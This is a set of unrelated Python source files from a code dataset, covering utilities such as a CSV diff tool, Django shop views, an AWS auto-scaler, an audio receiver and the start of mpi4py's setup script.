ip_pos = 0\n desc_pos = 1\n\n if args.ip_mode:\n # searching for the first ip-address\n for i in range(len(first_row)):\n # Starts with second index\n if ipv4_check(first_row[i]) or ipv6_check(first_row[i]):\n print(\" - Found IP-Address\")\n ip_pos = i\n desc_pos = int(i == 0)\n break\n\n for line in data:\n col = line.strip().split(args.delimiter)\n append2map(d, duplicates, col, ip_pos, desc_pos)\n except (FileNotFoundError, FileExistsError):\n print(\"Could't find: {}\".format(csv_file))\n return d, duplicates\n\n\ndef get_filename(file_path):\n \"\"\" Extracts the name from the file path \"\"\"\n return os.path.basename(file_path).split('.')[0]\n\n\ndef get_url_name(url):\n \"\"\" Extracts the site-name from a url \"\"\"\n url_name = url.split('://')[-1]\n url_name = url_name.split('/')[-1]\n return url_name.split('.')[0]\n\n\ndef write_csv(writer, missing_map, name, duplicates={}):\n if len(missing_map) > 0:\n writer.writerow(['--Missing-- in ' + name + ' file:'])\n for key in missing_map:\n if missing_map[key]:\n writer.writerow([key] + [missing_map[key]])\n else:\n writer.writerow([key])\n writer.writerow(['----------------------'])\n if len(duplicates):\n writer.writerow(['--Duplicates-- in ' + name + ' file:'])\n for key in duplicates:\n if duplicates[key]:\n writer.writerow([key] + [duplicates[key]])\n else:\n writer.writerow([key])\n writer.writerow(['----------------------'])\n\n\ndef split_ip(ip_map):\n \"\"\"Split a (found) IP address into a 4-tuple\"\"\"\n ip = ip_map[0]\n if ipv4_check(ip):\n return tuple(int(item) for item in ip.split('.'))\n elif ipv6_check(ip):\n return tuple(int(item) for item in ip.split(':'))\n else:\n # Found no ip, return 0 == sort to top\n return 0, 0\n\n\ndef sort_ip_map(ip_map):\n \"\"\" :param ip_map: dictionary\n :rtype: sorted dictionary\"\"\"\n return dict(sorted(ip_map.items(), key=split_ip)) if len(ip_map) > 1 else ip_map\n\n\ndef create_csv(map1, map2, filename, output, duplicates1={}, duplicates2={}):\n \"\"\" Creates a new CSV file with all missing information \"\"\"\n filename = \"diff_{}.csv\".format(filename)\n file_path = Path(output) / filename\n print(\"Found differences!\\nCreating diff file...\")\n with open(str(file_path), 'w', newline='') as outfile:\n csv_writer = csv.writer(outfile, delimiter=args.delimiter,\n quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\n write_csv(csv_writer, sort_ip_map(map1), \"first\", sort_ip_map(duplicates1))\n write_csv(csv_writer, sort_ip_map(map2), \"second\", sort_ip_map(duplicates2))\n print(\"Successful created: {}\".format(file_path))\n return None\n\n\ndef compare_maps(source, target):\n \"\"\" Checks if target map items are not in source \"\"\"\n d = {}\n for key in target:\n if key not in source:\n d[key] = target[key]\n return d\n\n\ndef main(map1, map2, filename=\"diff\", duplicates1={}, duplicates2={}):\n \"\"\" Compares two maps and stores the results into a csv file\n :param map1: dictionary\n :param map2: dictionary\n :param filename: string\n :param duplicates1: [dictionary]\n :param duplicates2: [dictionary]\n :rtype: bool \"\"\"\n\n if len(map1) > 0 and len(map2) > 0:\n # Compares each file and store the difference\n print(\"\\nComparing data...\\n\")\n missing_first = compare_maps(map1, map2)\n missing_second = compare_maps(map2, map1)\n\n # Verify missing or duplicate data\n if len(missing_first) + len(missing_second) + len(duplicates1) + len(duplicates2) > 0:\n # Create the new csv with the diff and/or duplicate data\n create_csv(missing_first, missing_second, filename, args.output, duplicates1, duplicates2)\n else:\n print(\"No differences or duplicates found.\")\n return False\n else:\n print(\"Error, could't read valid data.\\n - Please recheck the submitted files/urls.\")\n return False\n return True\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"file1\",\n help=\"add first file or url for comparing\")\n parser.add_argument(\"file2\",\n help=\"add second file or url for comparing\")\n parser.add_argument('-o', '--output', default='./',\n help='Enter a custom output file-path')\n parser.add_argument(\"-noip\", \"--no_ip_address\", action=\"store_false\", dest=\"ip_mode\", default=True,\n help=\"deactivates automatic ip-addresses finding and comparing\")\n parser.add_argument('-d', '--delimiter', default=\";\",\n help='custom delimiter for csv input and output, default:\";\"')\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = parse_arguments()\n f1 = args.file1\n f2 = args.file2\n\n # Unpack data from web or csv data\n f1_data, f1_dup = web_crawl(f1) if url_check(f1) else csv2map(f1)\n f2_data, f2_dup = web_crawl(f2) if url_check(f2) else csv2map(f2)\n f1_name = get_url_name(f1) if url_check(f1) else get_filename(f1)\n\n main(f1_data, f2_data, f1_name, f1_dup, f2_dup)\n","sub_path":"tools/csv_diff.py","file_name":"csv_diff.py","file_ext":"py","file_size_in_byte":8728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"372692488","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nif __name__ == '__main__':\n import sys\n import lrcutility\n\n default_encoding = 'utf-8'\n if sys.getdefaultencoding() != default_encoding:\n reload(sys)\n sys.setdefaultencoding(default_encoding)\n\n with open(sys.argv[1]) as file1:\n offset=float(sys.argv[2])*1000\n lrc=file1.read()\n lrc_dict = lrcutility.lrc_parser(lrc)\n\n\n body = {}\n\n for (key, value) in sorted(lrc_dict['body'].iteritems()):\n body[key-offset] = value.strip()\n\n off_lrc_dict = dict(head=lrc_dict['head'],body=body)\n\n print(lrcutility.lrc_wrapper(off_lrc_dict))\n","sub_path":"lrc_hard_offset.py","file_name":"lrc_hard_offset.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"565193910","text":"class Solution:\n def reorderList(self, head: ListNode) -> None:\n if not head:\n return\n slow=fast=head\n while fast and fast.next:\n slow=slow.next\n fast=fast.next.next\n prev=None\n curr=slow\n while curr:\n curr.next, prev, curr = prev, curr, curr.next \n first=head\n second=prev\n while second.next:\n first.next,first=second,first.next\n second.next, second = first, second.next\n\n#Time-Complexity: O(N)\n#Space-complexity: O(1)","sub_path":"reorder list.py","file_name":"reorder list.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"406675273","text":"from django.http.response import HttpResponse, JsonResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.shortcuts import render\nfrom django.views import View\n\nfrom product.models import Comment, Product, ProductCate, ProductImage\n# Create your views here.\n\nclass ProductPage(View):\n\n def get(self,request):\n product_cates = ProductCate.objects.all()\n product_list = Product.objects.all()\n \n page_number = request.GET.get(\"page\")\n \n if request.GET.get(\"product_name\"):\n try:\n name=request.GET.get(\"product_name\")\n product_list = Product.objects.filter(name__contains=name)\n except Product.DoesNotExist:\n product_list = None\n \n paginator = Paginator(product_list, 6)\n \n try:\n products = paginator.page(page_number)\n except PageNotAnInteger:\n # Nếu page_number không thuộc kiểu integer, trả về page đầu tiên\n products = paginator.page(1)\n except EmptyPage:\n # Nếu page không có item nào, trả về page cuối cùng\n products = paginator.page(paginator.num_pages)\n\n \n context = {\"product_cates\" : product_cates,\"products\":products}\n return render(request,'products.html',context)\n\nclass ProductCatePage(View):\n\n def get(self,request,id):\n product_list = Product.objects.filter(category = id)\n product_cates = ProductCate.objects.all()\n category = ProductCate.objects.get(pk=id)\n \n \n page_number = request.GET.get(\"page\")\n if request.GET.get(\"product_name\"):\n try:\n name=request.GET.get(\"product_name\")\n product_list = Product.objects.filter(category = id,name__contains=name)\n except Product.DoesNotExist:\n product_list = None\n \n paginator = Paginator(product_list, 6)\n \n try:\n products = paginator.page(page_number)\n except PageNotAnInteger:\n # Nếu page_number không thuộc kiểu integer, trả về page đầu tiên\n products = paginator.page(1)\n except EmptyPage:\n # Nếu page không có item nào, trả về page cuối cùng\n products = paginator.page(paginator.num_pages)\n\n \n context = {\"product_cates\" : product_cates,\"products\":products,\"category\":category}\n return render(request,'product_cate.html',context)\n\nclass ProductDetail(View):\n\n def get(self,request,id):\n product = Product.objects.get(pk=id)\n # products = Product.objects.all()\n related_products = Product.objects.filter(category = product.category)\n images = ProductImage.objects.filter(product = product)\n comments = Comment.objects.filter(product = product).order_by('-id')\n context = {\"product\" : product,\"related_products\" : related_products,\"images\" : images,\"comments\" : comments}\n return render(request,'product-detail.html',context)\n\n\ndef addComment(request):\n \n vote = request.GET.get('vote')\n name = request.GET.get('name')\n title = request.GET.get('title')\n content = request.GET.get('content')\n product_id = request.GET.get('product_id')\n \n product = Product.objects.get(pk=product_id)\n \n comment = Comment.objects.create(product=product,name=name,vote=vote,title=title,content=content)\n comment.save()\n \n return JsonResponse({\"success\":\"thành công\", \"created_at\":comment.date})","sub_path":"product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"588625143","text":"# -*- coding: utf-8 -*-\r\n\r\n'''\r\n Javier Romero Blanco\r\n javi.azuaga@gmail.com\r\n http://barrabarra.es\r\n ©2010\r\n'''\r\n\r\n\r\nfrom django import template\r\nimport locale\r\n\r\nregister = template.Library()\r\n\r\n@register.filter(name='currency')\r\ndef currency(value):\r\n try:\r\n locale.setlocale(locale.LC_ALL,'es_ES.UTF-8')\r\n except:\r\n locale.setlocale(locale.LC_ALL,'')\r\n loc = locale.localeconv()\r\n #loc['p_cs_precedes'] = 0\r\n #loc['n_cs_precedes'] = 0\r\n return locale.currency(value, loc['currency_symbol'], grouping=True)\r\n\r\n@register.filter\r\ndef truncatesmart(value, limit=80):\r\n \"\"\"\r\n Truncates a string after a given number of chars keeping whole words.\r\n \r\n Usage:\r\n {{ string|truncatesmart }}\r\n {{ string|truncatesmart:50 }}\r\n \"\"\"\r\n \r\n try:\r\n limit = int(limit)\r\n # invalid literal for int()\r\n except ValueError:\r\n # Fail silently.\r\n return value\r\n \r\n # Make sure it's unicode\r\n value = unicode(value)\r\n \r\n # Return the string itself if length is smaller or equal to the limit\r\n if len(value) <= limit:\r\n return value\r\n \r\n # Cut the string\r\n value = value[:limit]\r\n \r\n # Break into words and remove the last\r\n words = value.split(' ')[:-1]\r\n \r\n # Join the words and return\r\n return ' '.join(words) + '...'","sub_path":"apps/catalog/templatetags/catalog_filters.py","file_name":"catalog_filters.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"526216386","text":"# ~license~\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nfrom appy.ui import Language\nfrom appy.ui.layout import ColumnLayout\nfrom appy.model.utils import Object as O\n\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nclass ColSet:\n '''Represents a named set of columns to show when displaying Search results\n or tied objects from a Ref.'''\n FIELD_NOT_FOUND = 'field \"%s\", used in a column specifier, not found.'\n\n # Standard column specifiers\n standardColSpecs = O(\n number = O(special=True, field='_number', width='15px',\n align='left', header=False),\n checkboxes = O(special=True, field='_checkboxes', width='10px',\n align='center', header=True)\n )\n\n @staticmethod\n def getColSpecs(class_, columnLayouts, dir,\n addNumber=False, addCheckboxes=False):\n '''Extracts and returns, from a list of p_columnLayouts, info required\n for displaying columns of field values for instances of p_class_,\n either in a result screen or for a Ref field.\n '''\n # p_columnLayouts are specified for each field whose values must be\n # shown. 2 more, not-field-related, column layouts can be specified with\n # these names:\n # ----------------------------------------------------------------------\n # \"_number\" | if the listed objects must be numbered by Appy, this\n # | string represents the column containing that number;\n # ----------------------------------------------------------------------\n # \"_checkboxes\" | if Appy must show checkboxes for the listed objects,\n # | this string represents the column containing the\n # | checkboxes.\n # ----------------------------------------------------------------------\n # If columns \"_number\" and \"_checkboxes\" are not among p_columnLayouts\n # but are required (by p_addNumber and p_addCheckboxes), they are added\n # to the result. Specifying them within p_columnLayouts allows to give\n # them a precise position among all columns. When automatically added,\n # they will appear before any other column (which is desirable in most\n # cases).\n r = []\n numberFound = checkboxesFound = False\n for info in columnLayouts:\n name, width, align, header = ColumnLayout(info).get()\n # It that a special column name ?\n special = True\n if name == '_number': numberFound = True\n elif name == '_checkboxes': checkboxesFound = True\n else: special = False\n align = Language.flip(align, dir)\n # For non-special columns, get the corresponding field\n if not special:\n field = class_.fields.get(name)\n if not field:\n self.log(ColSet.FIELD_NOT_FOUND % name, type='warning')\n continue\n else:\n # Let the column name in attribute \"field\"\n field = name\n r.append(O(special=special, field=field, width=width,\n align=align, header=header))\n # Add special columns if required and not present\n if addCheckboxes and not checkboxesFound:\n r.insert(0, ColSet.standardColSpecs.checkboxes)\n if addNumber and not numberFound:\n r.insert(0, ColSet.standardColSpecs.number)\n return r\n\n def __init__(self, identifier, label, columns, specs=False):\n # A short identifier for the set\n self.identifier = identifier\n # The i18n label to use for giving a human-readable name to the set\n self.label = label\n # The list/tuple of columns, expressed as strings. Every string must\n # contain a field name, but can be completed (after a char *) by column\n # width and alignment, as in \"state*100px|\". The \"width\" part, just\n # after the *, can hold anything that can be set in a \"width\" HTML\n # attribute. The last char represents the alignment:\n # \";\" left-aligned (the default);\n # \"|\" centered;\n # \"!\" right-aligned.\n if not specs:\n self.columns = columns\n else:\n # \"specs\" is the internal representation of \"columns\". Do not\n # specify \"specs=True\". It will contain a list of Object instances\n # instead of strings. Every such instance has splitted string info\n # into fields \"field\", \"width\" and \"align\".\n self.specs = columns\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n","sub_path":"appy/model/fields/colset.py","file_name":"colset.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"356964004","text":"from http import HTTPStatus\n\nimport requests\n\nfrom flags import save_flag\n\n\ndef get_flag(base_url, cc):\n url = '{}/{cc}/{cc}.gif'.format(base_url, cc=cc.lower())\n resp = requests.get(url)\n if resp.status_code != 200:\n resp.raise_for_status()\n return resp.content\n\ndef download_one(cc, base_url, verbose=False):\n try:\n image = get_flag(base_url, cc)\n except requests.exceptions.HTTPError as exc:\n res = exc.response\n if res.status_code == 404:\n status = HTTPStatus.not_found\n msg = 'not found'\n else:\n raise\n else:\n save_flag(image, cc.lower() + '.gif')\n status = HTTPStatus.ok\n msg = 'OK'\n if verbose:\n print(cc, msg)\n return Result(status, cc)","sub_path":"chatper_17/flags2.py","file_name":"flags2.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484050647","text":"#!/usr/bin/env python3\n# ndpwatch - poll ARP & ND caches and store to database\n# (c) 2016 Mantas Mikulėnas \n# Released under the MIT License (dist/LICENSE.mit)\nfrom nullroute.core import *\nimport sqlalchemy as δ\n\nconfig = Env.find_config_file(\"ndpwatch.conf\")\ndb_url = None\n\nwith open(config, \"r\") as f:\n for line in f:\n if line.startswith(\"#\"):\n continue\n k, v = line.strip().split(\" = \", 1)\n if k == \"db\":\n db_url = v\n\nif not db_url:\n Core.die(\"database URL not configured\")\n\nδEngine = δ.create_engine(db_url)\nδConn = δEngine.connect()\n\nst = δ.sql.text(\"\"\"\n SELECT ip_addr, mac_addr FROM arplog\n WHERE mac_addr != LOWER(mac_addr)\n \"\"\")\nr = δConn.execute(st)\nfor ip, mac in r:\n mac = mac.lower()\n print(mac, \"--\", ip)\n\n oldest_id = 0\n first_seen = 0\n last_seen = 0\n\n st = δ.sql.text(\"\"\"\n SELECT id, mac_addr, first_seen, last_seen FROM arplog\n WHERE ip_addr = :ip\n AND LOWER(mac_addr) = :mac\n \"\"\")\n r = δConn.execute(st.bindparams(ip=ip, mac=mac))\n r = [*r]\n print(\" - found\", len(r), \"entries\")\n for e_id, e_mac, e_first, e_last in r:\n print(\" |\", e_id, e_mac)\n if e_id < oldest_id or oldest_id == 0:\n oldest_id = e_id\n if e_first < first_seen or first_seen == 0:\n first_seen = e_first\n if e_last > last_seen or last_seen == 0:\n last_seen = e_last\n\n print(\" - deleting remaining rows with {mac}\".format(**locals()), end=\"\")\n st = δ.sql.text(\"\"\"\n DELETE FROM arplog\n WHERE ip_addr = :ip AND LOWER(mac_addr) = :mac AND id != :id\n \"\"\")\n r = δConn.execute(st.bindparams(id=oldest_id, ip=ip, mac=mac))\n print(\" =>\", r.rowcount, \"rows deleted\")\n\n print(\" - updating id {oldest_id} with {first_seen}…{last_seen}\".format(**locals()), end=\"\")\n st = δ.sql.text(\"\"\"\n UPDATE arplog\n SET mac_addr = :mac, first_seen = :first, last_seen = :last\n WHERE ip_addr = :ip AND LOWER(mac_addr) = :mac AND id = :id\n \"\"\")\n r = δConn.execute(st.bindparams(id=oldest_id, ip=ip, mac=mac, first=first_seen, last=last_seen))\n print(\" =>\", r.rowcount, \"rows updated\")\n","sub_path":"net/ndpwatch-fix-uppercase-macs.py","file_name":"ndpwatch-fix-uppercase-macs.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"257425109","text":"import sounddevice as sd\nimport numpy as np\nimport math \nimport matplotlib.pyplot as plt\nimport soundfile as sf\nfrom scipy import signal as sg\n\nclass Receptor():\n def __init__(self):\n self.fs = 44100.0\n self.fc = 3500\n\n def record(self):\n audio = sd.rec(int(5 * self.fs),self.fs,channels=1)\n sd.wait()\n y = audio[:,0]\n return y\n\n def carFrequencies(self, signal, f):\n t = np.linspace(0,len(signal)/self.fs,len(signal))\n y = np.sin(math.pi*2*t*f)\n return t,y\n\n def calcFFT(self, signal):\n from scipy.fftpack import fft\n from scipy import signal as window\n\n N = len(signal)\n T = 1/self.fs\n xf = np.linspace(0.0, 1.0/(2.0*T), N//2)\n yf = fft(signal)\n\n return(xf, np.abs(yf[0:N//2]))\n\n def LPF(self, signal, cutoff_hz, fs):\n #####################\n # Filtro\n #####################\n # https://scipy.github.io/old-wiki/pages/Cookbook/FIRFilter.html\n nyq_rate = fs/2\n width = 5.0/nyq_rate\n ripple_db = 60.0 #dB\n N , beta = sg.kaiserord(ripple_db, width)\n taps = sg.firwin(N, cutoff_hz/nyq_rate, window=('kaiser', beta))\n return( sg.lfilter(taps, 1.0, signal))\n\n def main(self):\n audio = self.record()\n freqaudiox, freqaudioy = self.calcFFT(audio)\n\n t1,c1 = self.carFrequencies(audio, 9000)\n t2,c2 = self.carFrequencies(audio, 17000)\n\n demoaudio1 = c1 * audio\n demoaudio2 = c2 * audio\n fdemoaudio1x, fdemoaudio1y = self.calcFFT(demoaudio1)\n fdemoaudio2x, fdemoaudio2y = self.calcFFT(demoaudio2)\n\n fig, (ax1,ax2) = plt.subplots(1,2,figsize=(15,5))\n ax1.plot(fdemoaudio1x,fdemoaudio1y)\n ax2.plot(fdemoaudio2x,fdemoaudio2y)\n plt.show()\n\n demoaudio1_filtrada = self.LPF(demoaudio1 ,self.fc, self.fs)\n demoaudio2_filtrada = self.LPF(demoaudio2 ,self.fc, self.fs) \n\n # fig, (ax1,ax2) = plt.subplots(1,2,figsize=(15,5))\n # ax1.plot(fdemoaudio1x,demoaudio1_filtrada)\n # ax2.plot(fdemoaudio2x,demoaudio2_filtrada)\n # plt.show() \n\n # sd.play(demoaudio1,self.fs)\n # sd.wait()\n sd.play(demoaudio1_filtrada,self.fs)\n sd.wait()\n sd.play(demoaudio2_filtrada, self.fs)\n sd.wait()\n\nif __name__ == \"__main__\":\n\treceptor = Receptor()\n\treceptor.main()\n","sub_path":"modulador/receptor.py","file_name":"receptor.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"142033095","text":"import sys\nimport os\ndir_path = os.path.dirname(os.path.realpath(__file__))\nsys.path.append('../../')\nsys.path.append(dir_path)\nsys.path.append('/home/ubuntu/Desktop/ece1779_lab/A2/manager_app/')\nimport time\nfrom datetime import datetime, timedelta\nfrom config import Config\nfrom app.aws import AwsClient\nimport csv\nimport logging\n\ndef cpu_utils_avg(aws_client):\n target_instances = aws_client.get_target_instances()\n instance_ids = []\n cpu_sum = 0.0\n cpu_avg = 0.0\n point_counter = 0\n for instance in target_instances:\n start_time = datetime.utcnow() - timedelta(seconds = 2 * 60)\n end_time = datetime.utcnow()\n period = 60\n cpu_data = aws_client.get_cpu_utilization(instance['id'], start_time, end_time, period)\n for point in cpu_data:\n point_counter += 1\n cpu_sum += point[1]\n\n if int(point_counter) >= 1:\n cpu_avg = cpu_sum / float(point_counter)\n return cpu_avg\n\n return -1\n\n\ndef auto_scaling(aws_client):\n top_folder = Config.TOP_FOLDER\n policy_file_path = top_folder + '/app/auto-scaler/auto_scale.txt'\n pool_size_lower_bound = 1\n pool_size_upper_bound = 10\n\n cpu_grow_threshold = 0.0\n cpu_shrink_threshold = 0.0\n grow_ratio = 0.0\n shrink_ratio = 0.0\n auto_scale = 0\n\n if os.path.exists(policy_file_path): \n with open(policy_file_path, newline='') as csvfile:\n reader = csv.reader(csvfile, delimiter = ',')\n for row in reader:\n cpu_grow_threshold = float(row[0])\n cpu_shrink_threshold = float(row[1])\n grow_ratio = float(row[2])\n shrink_ratio = float(row[3])\n auto_scale = int(row[4])\n else:\n logging.error('No policy file found')\n return None\n\n if int(auto_scale) == 1:\n target_instances = aws_client.get_target_instances()\n pool_size = len(target_instances)\n cpu_avg = cpu_utils_avg(aws_client = aws_client)\n # no valid instances\n logging.info('Avg CPU util is {}'.format(cpu_avg))\n logging.info('Current worker pool size is {}'.format(pool_size))\n if cpu_avg == -1:\n logging.error('No valid workers in the pool')\n return None\n # grow\n elif cpu_avg > cpu_grow_threshold:\n num_to_grow = int(pool_size * (grow_ratio - 1))\n if int(pool_size) >= pool_size_upper_bound:\n logging.warning('Pool size already exceeds the limit')\n return None\n elif int(pool_size + num_to_grow) >= pool_size_upper_bound:\n logging.warning('Grow to the limit')\n response = aws_client.grow_worker_by_some(int(pool_size_upper_bound - pool_size))\n logging.warning('Status are {}'.format(response))\n return 'Success'\n else:\n logging.warning('Grow {} instances'.format(num_to_grow))\n response = aws_client.grow_worker_by_some(num_to_grow)\n logging.warning('Status are {}'.format(response))\n return 'Success'\n # shrink\n elif cpu_avg < cpu_shrink_threshold:\n num_to_shrink = int(pool_size) - int(pool_size / shrink_ratio)\n if int(pool_size) <= pool_size_lower_bound:\n logging.warning('Pool size cannot be smaller')\n return None\n elif int(pool_size - num_to_shrink) <= pool_size_lower_bound:\n logging.warning('Shrink to the limit')\n response = aws_client.shrink_worker_by_some(int(pool_size - pool_size_lower_bound))\n logging.warning('Status are {}'.format(response))\n return 'Success'\n else:\n logging.warning('Shrink {} instances'.format(num_to_shrink))\n response = aws_client.shrink_worker_by_some(num_to_shrink)\n logging.warning('Status are {}'.format(response))\n return 'Success'\n else:\n logging.warning('Nothing changes')\n return None\n else:\n logging.error('Auto Scaling is not enabled')\n return None\n \n\nif __name__ == '__main__':\n # initiate an aws client\n aws_client = AwsClient(\n access_key_id = Config.ACCESS_KEY_ID, \n secrete_key = Config.SECRET_KEY, \n region = Config.REGION, \n template_id = Config.TEMPLATE_ID, \n target_arn = Config.TARGET_ARN,\n elb_dns = Config.ELB_DNS)\n # start auto-scaling\n logging.getLogger().setLevel(logging.INFO)\n while True:\n response = auto_scaling(aws_client)\n if response == 'Success':\n # wait for 3 minutes, otherwise unstable\n logging.info('Grow or shrink successfully, wait for 5 min')\n time.sleep(300)\n else:\n time.sleep(60)\n","sub_path":"A2/manager_app/app/auto-scaler/auto_scaler.py","file_name":"auto_scaler.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"419707987","text":"import functools, time\n\ndef timer_init(log):\n\n\tdef timer_wrapper(wrapped):\n\n\t\t@functools.wraps(wrapped)\n\t\tdef _wrapper(*args, **kwargs):\n\t\t\tbegin = time.time()\n\t\t\tresult = wrapped(*args, **kwargs)\n\t\t\tend = time.time()\n\t\t\ttotal = end - begin\n\t\t\tlog.log(\"Function %s took %s seconds\" % (wrapped.__name__, '%.5f' % total))\n\n\t\t\treturn result\n\t\treturn _wrapper\n\n\treturn timer_wrapper\n\ndef parse_timer_log(logfile):\n\tf = open(logfile)\n\tfunctimes = {}\n\tfor line in f.readlines():\n\t\tif \"+0000('Function\" in line:\n\t\t\tif line.split()[3] not in functimes: functimes[line.split()[3]] = [0, 0, 0.0]\n\t\t\tcount, avg, highest = functimes[line.split()[3]]\n\t\t\tif float(line.split()[5]) > highest:\n\t\t\t\thighest = float(line.split()[5])\n\t\t\tfunctimes[line.split()[3]] = [count + 1, (avg * count + float(line.split()[5])) / (count + 1), highest]\n\treturn functimes\n\ndef total_impact(result):\n\tif isinstance(result, str):\n\t\tresult = parse_timer_log(result)\n\ttotal = 0\n\tfor x in result: total += result[x][0] * result[x][1]\n\n\tresults = []\n\tfor x in result:\n\t\tresults.append([x, int((result[x][0] * result[x][1] * 100) / total)])\n\n\treturn sorted(results, key=lambda x: x[1], reverse=True)\n","sub_path":"credits/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"442567305","text":"#!/usr/bin/env python\n# Author: Lisandro Dalcin\n# Contact: dalcinl@gmail.com\n\n__doc__ = \\\n\"\"\"\nPython bindings for MPI\n\"\"\"\n\nimport os\nimport sys\nimport glob\n\ntopdir = os.path.abspath(os.path.dirname(__file__))\nsys.path.insert(0, os.path.join(topdir, 'conf'))\n\n# --------------------------------------------------------------------\n# Metadata\n# --------------------------------------------------------------------\n\ndef get_name():\n name = 'mpi4py'\n suffix = os.environ.get('MPI4PY_DIST_SUFFIX')\n if suffix:\n name = '{name}-{suffix}'.format(**vars())\n return name\n\ndef get_version():\n import getversion\n try:\n return get_version.result\n except AttributeError:\n pass\n version = getversion.version()\n get_version.result = version\n return version\n\ndef description():\n return __doc__.strip()\n\ndef long_description():\n filelist = ('DESCRIPTION.rst', 'CITATION.rst', 'INSTALL.rst')\n template = \"See `{0} <{0}>`_.\\n\\n\"\n template += \".. include:: {0}\\n\"\n text = template.format(filelist[0])\n for filename in filelist:\n with open(os.path.join(topdir, filename)) as f:\n includeline = template.format(filename)\n text = text.replace(includeline, f.read())\n return text\n\ndef homepage():\n return 'https://mpi4py.github.io'\n\ndef github(*args):\n base = 'https://github.com/mpi4py/mpi4py'\n return '/'.join((base,) + args)\n\ndef readthedocs(*args):\n base = 'https://mpi4py.readthedocs.io'\n return '/'.join((base,) + args)\n\ndef download_url():\n version = get_version().partition('+')[0]\n if '.dev' in version:\n path = 'tarball'\n archive = 'master'\n else:\n path = 'releases/download/{0}'.format(version)\n archive = 'mpi4py-{0}.tar.gz'.format(version)\n return github(path, archive)\n\ndef documentation_url():\n version = get_version().partition('+')[0]\n language = 'en'\n location = 'latest' if '.dev' in version else version\n return readthedocs(language, location, '')\n\nclassifiers = \"\"\"\nDevelopment Status :: 5 - Production/Stable\nIntended Audience :: Developers\nIntended Audience :: Science/Research\nLicense :: OSI Approved :: BSD License\nOperating System :: MacOS\nOperating System :: MacOS :: MacOS X\nOperating System :: Microsoft :: Windows\nOperating System :: POSIX\nOperating System :: POSIX :: BSD\nOperating System :: POSIX :: Linux\nOperating System :: Unix\nProgramming Language :: C\nProgramming Language :: Cython\nProgramming Language :: Python\nProgramming Language :: Python :: 3\nProgramming Language :: Python :: 3 :: Only\nProgramming Language :: Python :: 3.6\nProgramming Language :: Python :: 3.7\nProgramming Language :: Python :: 3.8\nProgramming Language :: Python :: 3.9\nProgramming Language :: Python :: 3.10\nProgramming Language :: Python :: 3.11\nProgramming Language :: Python :: 3.12\nProgramming Language :: Python :: Implementation :: CPython\nProgramming Language :: Python :: Implementation :: PyPy\nTopic :: Scientific/Engineering\nTopic :: Software Development :: Libraries :: Python Modules\nTopic :: System :: Distributed Computing\n\"\"\"\n\nkeywords = \"\"\"\nscientific computing\nparallel computing\nmessage passing interface\nMPI\n\"\"\"\n\nplatforms = \"\"\"\nPOSIX\nLinux\nmacOS\nFreeBSD\nWindows\n\"\"\"\n\nmetadata = {\n 'name' : get_name(),\n 'version' : get_version(),\n 'description' : description(),\n 'long_description' : long_description(),\n 'url' : homepage(),\n 'download_url' : download_url(),\n 'classifiers' : classifiers.strip().split('\\n'),\n 'keywords' : keywords.strip().split('\\n'),\n 'platforms' : platforms.strip().split('\\n'),\n 'license' : 'BSD-2-Clause',\n 'author' : 'Lisandro Dalcin',\n 'author_email' : 'dalcinl@gmail.com',\n}\n\nrequire_python = (3, 6)\nmaxknow_python = (3, 12)\n\nmetadata_extra = {\n 'project_urls': {\n \"Source Code\" : github(),\n \"Bug Tracker\" : github('issues'),\n \"Discussions\" : github('discussions'),\n \"Documentation\" : documentation_url(),\n },\n 'python_requires': '>=' + '.'.join(map(str, require_python)),\n 'long_description_content_type': 'text/x-rst',\n}\n\n# --------------------------------------------------------------------\n# Extension modules\n# --------------------------------------------------------------------\n\ndef sources():\n # mpi4py.MPI\n MPI = dict(\n source='src/mpi4py/MPI.pyx',\n depends=[\n 'src/mpi4py/*.pyx',\n 'src/mpi4py/*.pxd',\n 'src/mpi4py/MPI/*.pyx',\n 'src/mpi4py/MPI/*.pxd',\n 'src/mpi4py/MPI/*.pxi',\n ],\n )\n #\n return [MPI]\n\n\ndef extensions():\n import mpidistutils\n # MPI extension module\n MPI = dict(\n name='mpi4py.MPI',\n sources=['src/mpi4py/MPI.c'],\n depends=(\n glob.glob('src/*.h') +\n glob.glob('src/lib-mpi/*.h') +\n glob.glob('src/lib-mpi/config/*.h') +\n glob.glob('src/lib-mpi/compat/*.h')\n ),\n include_dirs = ['src'],\n define_macros=[\n ('MPICH_SKIP_MPICXX', 1),\n 